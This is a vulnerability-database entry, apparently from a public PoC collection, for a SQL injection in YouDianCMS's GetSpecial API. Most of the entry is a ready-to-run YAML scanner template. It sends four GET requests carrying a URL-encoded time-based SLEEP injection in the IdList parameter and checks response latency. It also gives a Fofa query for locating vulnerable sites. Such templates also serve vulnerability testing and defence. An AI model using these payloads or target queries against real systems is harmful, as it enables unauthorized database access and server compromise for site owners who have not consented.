youdian-cms-getspecial-sqli: YouDianCMS 友点系统 getSpecial SQL注入

2025-08-01 友点系统 PoC Public

Description

友点CMS存在getSpecial SQL注入漏洞,攻击者通过漏洞可以获取服务器权限。

Fofa: app="友点建站-CMS" && product="友点建站-CMS"

PoC

id: youdian-cms-getspecial-sqli

info:
  name: YouDianCMS 友点系统 getSpecial SQL注入
  author: zan8in
  severity: critical
  verified: true
  description: |-
    友点CMS存在getSpecial SQL注入漏洞,攻击者通过漏洞可以获取服务器权限。
    Fofa: app="友点建站-CMS" && product="友点建站-CMS"
  reference:
    - https://mp.weixin.qq.com/s/oiNffCThHJsfLhePlZjTBA
  tags: youdian,cms,sqli
  created: 2024/02/26

rules:
  r0:
    request:
      method: GET
      path: /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%2810%29%29%29A
    expression: response.status == 200 && response.body.bcontains(b'"Data":') && response.body.bcontains(b'"Status":') && response.body.bcontains(b'"Message":') && response.latency <= 12000 &&  response.latency >= 10000
  r1:
    request:
      method: GET
      path: /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%286%29%29%29A
    expression: response.status == 200 && response.body.bcontains(b'"Data":') && response.body.bcontains(b'"Status":') && response.body.bcontains(b'"Message":') && response.latency <= 8000 &&  response.latency >= 6000
  r2:
    request:
      method: GET
      path: /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%2810%29%29%29A
    expression: response.status == 200 && response.body.bcontains(b'"Data":') && response.body.bcontains(b'"Status":') && response.body.bcontains(b'"Message":') && response.latency <= 12000 &&  response.latency >= 10000
  r3:
    request:
      method: GET
      path: /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%286%29%29%29A
    expression: response.status == 200 && response.body.bcontains(b'"Data":') && response.body.bcontains(b'"Status":') && response.body.bcontains(b'"Message":') && response.latency <= 8000 &&  response.latency >= 6000
expression: r0() && r1() && r2() && r3()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities